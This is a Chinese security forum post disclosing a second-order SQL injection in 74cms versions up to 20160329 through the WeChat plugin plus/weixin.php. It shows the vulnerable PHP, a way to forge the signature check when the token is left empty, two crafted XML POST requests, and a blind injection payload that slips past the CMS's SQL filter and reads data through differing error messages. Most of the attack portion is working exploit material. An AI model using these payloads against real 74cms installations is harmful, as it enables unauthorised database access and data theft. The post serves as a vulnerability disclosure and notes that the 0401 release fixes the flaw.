HanDs
管理员

[7月漏洞公开] 74cms_20160329及前面版本存在xxe二次注入 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

无条件限制,前台直接注射,花了大半天写文档和exp脚本

详细说明:

问题出在plus/weixin.php

code 区域
$lat = $data['Latitude'];
$lng = $data['Longitude'];
$jobstable=table('jobs_search_key');
$rows = 5;
$offset = 0;
// 获取周边职位
if(!empty($lng) && !empty($lat))
{
$idresult = $this->query("SELECT id , ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM {$jobstable} WHERE map_x!='' AND map_y!='' ORDER BY juli ASC LIMIT {$offset},{$rows}");
while($row = $this->fetch_array($idresult))
{
$id[]=$row['id'];
}
}
if (!empty($id))
{
$wheresql=" WHERE id IN (".implode(',',$id).") ";
$sql = "SELECT *, ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM ".table('jobs').$wheresql." ORDER BY juli ASC , stick DESC , refreshtime DESC limit 3";
$jobs_list = $this->getall($sql);
}



其中$lat和$lng是从$data变量获取的。然后$data变量又是从

code 区域
require_once(QISHI_ROOT_PATH . 'data/weixin/location/'.$object->FromUserName.'.php')



文件中引进的。那这个文件怎么生成的呢。在receiveEvent函数中生成的。

code 区域
//接收事件消息
private function receiveEvent($object)
{
global $_CFG;
switch ($object->Event)
{
case "subscribe":
$this->content = "欢迎关注".$_CFG['site_name']."!
1.绑定您的".$_CFG['site_name']."帐号,求职招聘更加方便,并实时接收提醒通知。<a href='".WAP_DOMAIN."binding.php?from=".$object->FromUserName."'>点此立即绑定</a>
2.您可以回复【j】或【n】获取紧急、最新招聘信息,或者回复职位、公司等关键词如【销售】获取相关职位信息。
3.每日签到,免费获取积分!";
break;
case "LOCATION":
$map=(array)$object;
$cache_file_path =QISHI_ROOT_PATH . 'data/weixin/location/'.$object->FromUserName.'.php';
$content = "<?php\r\n";
$content .= " return \$data=".var_export($map, true).";\r\n";



这边没有过滤,就直接把数据写入到文件中。$object参数是从responseMsg函数中带入

code 区域
//响应消息
public function responseMsg()
{
if(!$this->checkSignature())
{
exit();
};
$this->timestamp = $_GET['timestamp'];
$this->nonce = $_GET["nonce"];
$this->msg_signature = $_GET['msg_signature'];
$this->encrypt_type = (isset($_GET['encrypt_type']) && ($_GET['encrypt_type'] == 'aes')) ? "aes" : "raw";

$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
if (!empty($postStr)){
//解密
if ($this->encrypt_type == 'aes'){
$pc = new WXBizMsgCrypt(TOKEN, EncodingAESKey, APPID);
$decryptMsg = ""; //解密后的明文
$errCode = $pc->DecryptMsg($this->msg_signature, $this->timestamp, $this->nonce, $postStr, $decryptMsg);
$postStr = $decryptMsg;
}
if($this->check_php_version("5.2.11")){
libxml_disable_entity_loader(true);
}
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$rxType = trim($postObj->MsgType);

//消息类型分离
switch ($rxType)
{
case "event":
$result = $this->receiveEvent($postObj);
break;



可以看到$postObj直接获取post的数据没有过滤带到了receiveEvent中,然后receiveEvent函数把用户提交的post数据写入到文件中,然后clickNearbyJobs函数读取文件中的数据带入到数据库查询,最后造成注入。

用户分两次提交数据,第一次先构造好数据把payload写入到文件中

code 区域
<?xml version="1.0" encoding="utf8"?>
<xml>
<To>test</To>
<FromUserName>wooyun</FromUserName>
<Event>LOCATION</Event>
<MsgType>event</MsgType>
<Latitude>666</Latitude>
<Longitude>写入payload数据</Longitude>
</xml>



其中FromUserName要是注册用户,并且要和第二次提交的FromUserName一样

这边有个验证Signature的步骤,不正确,会导致程序退出。

code 区域
//响应消息
public function responseMsg()
{
if(!$this->checkSignature())
{
exit();
};



跟进checkSignature函数

code 区域
private function checkSignature()
{
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if($tmpStr == $signature )
{
return true;
}
else
{
return false;
}
}



这边变量都是可控的,就可以自己随便生成正确的一个就好。其中$token是不可控,但是默认为空。我以$timestamp=a生成代码如下$nonce=b生成代码如下

code 区域
<?php
// $signature = "";
$timestamp = "a";
$nonce = "b";
$token = "";
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
echo "\$signature = ".$tmpStr;
?>



然后提交地址

code 区域
http://localhost/74cms_v3.7_20160329/plus/weixin.php?signature=da23614e02469a0d7c7bd1bdab5c9c474b1904dc&timestamp=a&nonce=b

提交上面的xml的post数据就能成功提交



第二次提交的数据是为了能让程序读取上面生成的文件数据带入到数据库执行,这边

code 区域
$this->check_weixin_open($object);

有检查微信公众号开了没,默认是没开,不过无所谓,因为该函数最后返回了,并没有没有开微信号就让程序退出,所以对下面程序的执行没有影响,可以忽略不计。

第二次数据提交地址依然是

code 区域
http://localhost/74cms_v3.7_20160329/plus/weixin.php?signature=da23614e02469a0d7c7bd1bdab5c9c474b1904dc&timestamp=a&nonce=b



提交post数据

code 区域
<?xml version="1.0" encoding="utf8"?>
<xml>
<To>test</To>
<FromUserName>wooyun</FromUserName>
<Event>CLICK</Event>
<EventKey>nearby_jobs</EventKey>
<MsgType>event</MsgType>
</xml>



这边要绑定个人帐号

code 区域
// 周边职位
private function clickNearbyJobs($object){
global $_CFG;
$usinfo = $this->get_user_info($object->FromUserName);
if(!empty($usinfo)){
if($usinfo['utype']!=2)
{
$this->content = "本操作需要绑定个人帐号!";
}



但是只要在这个地址http://localhost/74cms_v3.7_20160329/m/binding.php,填上正确的注册用户密码即可

0.png



这边绑定并不需要管理员权限等,但是你要绑定的用户要和你上面要提交的FromUserName的用户一致



然后讲讲payload的构造,由于74cms查询的时候也会有过滤,过滤函数如下

code 区域
//sql 过滤
static function CheckSql($db_string,$querytype='select')
{
global $QS_pwdhash;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = QISHI_ROOT_PATH.'/data/'.md5($QS_pwdhash).'_safe.txt';
$userIP = getip();
$getUrl =request_url();
$time = date('Y-m-d H:i:s');
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\nSelectBreak\r\n===========\r\n");
exit("您输入的内容不符合要求请正确输入!");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\n$error\r\n===========\r\n");
exit("您输入的内容不符合要求请正确输入!");
}
else
{
return $db_string;
}





过滤了注释符,还有sleep盲注使用的一些函数。由于变量是在中间,不是在结尾,不能有注释符,有没有回显,参考了 http://**.**.**.**/bugs/wooyun-2010-0150114 绕过waf,构造的payload如下

code 区域
'1*PI()/180-map_y*PI()/180)/2),2)+COS(1*PI()/180)*COS(map_y*PI()/180)*POW(SIN((1*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM qs_jobs_search_key where id=IF(ord(mid(user(),1,1)) = 114,1,1E308*2) union select 1,ROUND(ASIN(SQRT(POW(SIN((1'



如果IF(ord(mid(user(),1,1)) = 114,1,1E308*2)条件正确,就会进入到这边

code 区域
if (!empty($id))
{
$wheresql=" WHERE id IN (".implode(',',$id).") ";
$sql = "SELECT *, ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".$lat."*PI()/180-map_y*PI()/180)/2),2)+COS(".$lat."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".$lng."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM ".table('jobs').$wheresql." ORDER BY juli ASC , stick DESC , refreshtime DESC limit 3";
$jobs_list = $this->getall($sql);
}



这边查询是错误的,列会不匹配,但是没事,报错结果是不一样的,这边报错是

code 区域
Error:Query error:SELECT *, ROUND(6378.138*2*ASIN(SQRT(POW(SIN((111*PI()/180-map_y*PI()/180)/2),2)+COS(111*PI()/180)*COS(map_y*PI()/180)*POW(SIN((1*PI()/180-map_y*PI()/180)/2),2)+COS(1*PI()/180)*COS(map_y*PI()/180)*POW(SIN((1*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM qs_jobs_search_key where id=IF(ord(mid(user(),1,1)) = 114,1,1E308*2) union select 1,ROUND(ASIN(SQRT(POW(SIN((1*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM qs_jobs WHERE id IN (1) ORDER BY juli ASC , stick DESC , refreshtime DESC limit 3



如果IF(ord(mid(user(),1,1)) = 114,1,1E308*2)条件错误,1E308*2超出范围,直接报错了,不会进入到下面执行了,这边的报错信息是

code 区域
Error:Query error:SELECT id , ROUND(6378.138*2*ASIN(SQRT(POW(SIN((111*PI()/180-map_y*PI()/180)/2),2)+COS(111*PI()/180)*COS(map_y*PI()/180)*POW(SIN((1*PI()/180-map_y*PI()/180)/2),2)+COS(1*PI()/180)*COS(map_y*PI()/180)*POW(SIN((1*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM qs_jobs_search_key where id=IF(ord(mid(user(),1,1)) = 112,1,1E308*2) union select 1,ROUND(ASIN(SQRT(POW(SIN((1*PI()/180-map_x*PI()/180)/2),2)))*1000) AS juli FROM qs_jobs_search_key WHERE map_x!='' AND map_y!='' ORDER BY juli ASC LIMIT 0,5



那我们就可以直接根据报错信息的不同获取数据了

漏洞证明:

提交错误数据

1.png



报错信息

11.png



提交正确数据

2.png



报错信息数据

22.png





写个脚本跑跑试试

aa.png

修复方案:

最新版0401已经修复了

用户升级到最新版就好


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
74cms_20160329 及前面版本存在 xxe 二次注入
#1楼
发帖时间:2016-7-14   |   查看数:0   |   回复数:0
游客组
快速回复